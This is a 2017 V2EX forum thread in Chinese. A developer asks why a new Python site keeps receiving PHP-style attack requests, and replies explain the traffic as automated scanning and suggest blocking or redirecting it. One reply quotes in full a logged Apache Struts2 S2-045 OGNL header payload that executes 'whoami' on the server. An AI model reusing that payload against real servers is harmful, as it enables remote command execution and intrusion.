xiayibu
V2EX  ›  问与答

自己刚做好的 Python 网站每天都被人当作 PHP 网站注入攻击,怎么办

  •  
  •   xiayibu · Aug 26, 2017 · 5858 views
    This topic created in 3355 days ago, the information mentioned may be changed or developed.
    18 replies  •  2017-09-18 14:36:00 +08:00
    10467106
    10467106
    Aug 26, 2017 via iPhone
    1
    可以关站
    UnisandK
    UnisandK
    Aug 26, 2017
    2
    自动扫描的吧
    ETiV
    ETiV
    Aug 26, 2017 via iPhone
    3
    可能没人蓄意攻击你,都是自动扫的

    可以把\.php$的日志关了
    wwqgtxx
    wwqgtxx
    Aug 26, 2017 via iPhone
    4
    在前端( nginx )上直接把所有.php 返回 503 就好了
    xiayibu
    xiayibu
    OP
    Aug 26, 2017
    5
    安全狗提示这种攻击
    拦截原因: HTTP 头部字段:HTTP_CONTENT-TYPE 包含内容:{(#Normal='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
    fzleee
    fzleee
    Aug 26, 2017 via iPhone
    6
    redirect 到某些不可访问的网站
    jugelizi
    jugelizi
    Aug 26, 2017
    7
    很正常
    我 java 站每天海内外的 php 请求
    php 站的 asp 请求
    Felldeadbird
    Felldeadbird
    Aug 26, 2017 via iPhone
    8
    这种都是脚本批量检测的。
    ferock
    ferock
    Aug 26, 2017
    9
    告诉对方,你的网站不是 php !
    Sanko
    Sanko
    Aug 26, 2017 via Android❤️1
    10
    HttpResponse('哈麻批劳资是 python')
    zingl
    zingl
    Aug 27, 2017
    11
    向 ip 拥有者举证投诉
    ysc3839
    ysc3839
    Aug 27, 2017 via Android❤️1
    12
    听说过这样事,静态站,总有人扫 php,于是站长就把 php 全都重定向到一个很大的文件,比如 VPS 的测速文件。
    KgM4gLtF0shViDH3
    KgM4gLtF0shViDH3
    Aug 27, 2017 via Android
    13
    可能是新手在学 sqlmap ?
    safedogcc
    safedogcc
    Aug 27, 2017 via iPad
    14
    @ysc3839 #12
    好办法👍
    我已经想好,就 301 到*.G0V 。C/n 好了 /斜脸
    kylinking
    kylinking
    Aug 27, 2017 via iPhone
    15
    @xiayibu 这不是 PHP 注入攻击,而是针对前段时间的 S2-045 漏洞,一般都是批量扫描的,发现有漏洞后会下载一些挖矿样本或者 DDoS 程序。
    fcka
    fcka
    Aug 27, 2017 via Android
    16
    看看来源 ip,可能是阿里云的云盾干的……
    bearqq
    bearqq
    Aug 27, 2017
    17
    @application.route('<p:re:.*>')
    def other(p):
    if ('php' in request.environ.get('bottle.raw_path')) or (request.environ.get('REMOTE_ADDR') in config.blacklist):
    return redirect('http://cachefly.cachefly.net/100mb.test')
    else:
    abort(404)
    xinxin9527
    xinxin9527
    Sep 18, 2017
    18
    应该是自动扫描的,现在好多平台不间断的在全网扫描漏洞,并收入漏洞库,存在这种可能性。
    只要不影响主站访问,也倒没有什么,但如果题主看着觉得糟心,可以使用云防御来防护也是不错的。
    比如:知道创宇抗 D 保、百度云加速、前期网站访问量小,可以使用免费套餐的就够用了哈
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Privacy   ·   Solana   ·   1342 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 71ms · UTC 21:57 · PVG 05:57 · LAX 13:57 · JFK 16:57
    ♥ Do have faith in what you're doing.